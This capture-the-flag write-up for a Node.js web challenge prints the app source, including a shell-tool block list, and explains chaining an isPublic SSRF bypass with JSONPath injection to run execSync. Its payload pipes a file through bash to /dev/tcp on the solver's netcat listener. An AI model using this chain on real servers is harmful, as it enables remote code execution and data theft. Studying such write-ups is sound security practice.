Skip to main content

walawe

Solved by: ndrasukagacoan

lalalalala

10.4.79.68:20009

author: vannn

The challenge provided a ZIP file, containing the app's source code.

Full main.js contents:

const express = require("express");
const { JSONPath } = require("jsonpath-plus");
const bodyParser = require("body-parser");
const crypto = require("crypto");
const ip = require("ip");
const session = require("express-session");

const app = express();
const port = 3000;

// Middleware to parse JSON bodies
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.set("view engine", "ejs");
app.use(express.static("public"));

function generateRandomString(length) {
const bytes = crypto.randomBytes(Math.ceil(length / 2));
const randomString = bytes.toString("hex").slice(0, length);
return randomString;
}

function escapeJsonPath(input) {
return input
.replace(/\\/g, "\\\\") // Escape backslashes
.replace(/"/g, '\\"'); // Escape double quotes
}

app.use(
session({
secret: generateRandomString(16), // Replace with your own secret key
resave: false,
saveUninitialized: true,
cookie: { secure: false }, // Set to true if using HTTPS
})
);

const users = [
{ username: "admin", password: generateRandomString(16) },
{ username: "user", password: "rahasia123" },
];

const BLACKLIST_QUERY = [
"cat",
"head",
"tail",
"*",
"flag",
"rm",
"more",
"less",
"tac",
"strings",
"xxd",
"hexdump",
"base64",
"dd",
"grep",
"awk",
"sed",
// "curl",
"wget",
"fetch",
"bin",
];

// Login route
app.post("/login", (req, res) => {
try {
let { username, password } = req.body;

// Prevent JSONPath injection
username = escapeJsonPath(username);
password = escapeJsonPath(password);

// Query user data using JSONPath
const user = JSONPath({
path: `$[?(@.username=="${username}" && @.password=="${password}")]`,
json: users,
});

if (user.length > 0) {
req.session.username = username;
res.redirect("/query");
} else {
res.status(401).send({ message: "Invalid credentials." });
}
} catch (e) {
console.log(e);
res.status(500).send({ message: "Internal Server Error." });
}
});

app.get("/search", async (req, res) => {
res.render("search");
});

app.post("/search", async (req, res) => {
try {
const { url } = req.body;

const hostname = url.split("/")[2].split(":")[0];

if (ip.isPublic(hostname) && hostname !== "localhost") {
let r = await fetch(url);
r = await r.text();

res.redirect("/search");
} else {
res.status(403).send({ message: "Unauthorized" });
}
} catch (e) {
res.status(500).send({ message: "Internal Server Error" });
}
});

app.get("/query", (req, res) => {
try {
if (
req.session.username === "admin" ||
req.ip === "::ffff:127.0.0.1" ||
req.ip === "127.0.0.1"
) {
const query = req.query.q;
if (query) {
console.log(query);
// Check for blacklisted keywords
for (const keyword of BLACKLIST_QUERY) {
if (query.includes(keyword)) {
console.log("Blocked query:", query, "due to keyword:", keyword);
res.status(400).send({ message: "Bad Request." });
}
}

const result = JSONPath({
path: query,
json: users,
});
res.send(result);
}
} else {
res.status(403).send({ message: "Unauthorized." });
}
} catch (e) {
res.status(500).send({ message: "Internal Server Error." });
}
});

app.get("/logout", (req, res) => {
req.session.destroy((err) => {
if (err) {
return console.log(err);
}
res.redirect("/login");
});
});

app.get("/login", (req, res) => {
res.render("login");
});

app.get("/", (req, res) => {
res.render("index");
});

// Start server
app.listen(port, () => {
console.log(`Server is running on http://localhost:${port}`);
});

Quick summarization:

  • /login can't be injected with JSONPath; escapeJsonPath handles this
  • /search and /query are pretty interesting:
    • /search provides a mechanism to fetch a route
    • /query is vulnerable to JSONPath injection
    • /search could fetch any route, including the internal /query route
    • However, the inputted URL can't be public, checked with isPublic()
    • Luckily, the version of ip library used is vulnerable to SSRF, where some private IP aren't being detected as private IP, thus isPublic() returning true. One of them is 0x7f.1.
    • Note that we can't use utils like cat or curl to see and send the flag (see BLACKLIST_QUERY in the source code above). For this, we could use rev and send it to a Netcat server by piping to /dev/tcp/<ip>/<port>,

The trick is to execute a Server-Side Request Forgery (SSRF) attack and combining with JSONPath injection to do Remote Code Execution (RCE) to get the flag and sending it to our device.

For this, we use a public server that runs netcat server to be the 'drop place' for the flag got from RCE.

To run a netcat server, run:

nc -lvp 32504

Access http://10.4.79.68:20009/search, then input the payload below:

http://0x7f.1:3000/query?q=$[?(@.constructor.constructor("return process.mainModule.require('child_process').execSync('bash -c \"rev fl?g.txt > /dev/tcp/<your server IP>/<netcat port>\"')")())]

Where:

  • <your server IP: change to server IP for Netcat listener
  • <netcat port: change to the Netcat server port

After executing, check the netcat server. The flag will be there.

Note that rev is used because cat is blocklisted. To undo the reversal, just do:

echo }3h3h_retlif_htiw_gniniahc_ecr_0t_frss{tipmoc" | rev

FLAG: compit{ssrf_t0_rce_chaining_with_filter_h3h3}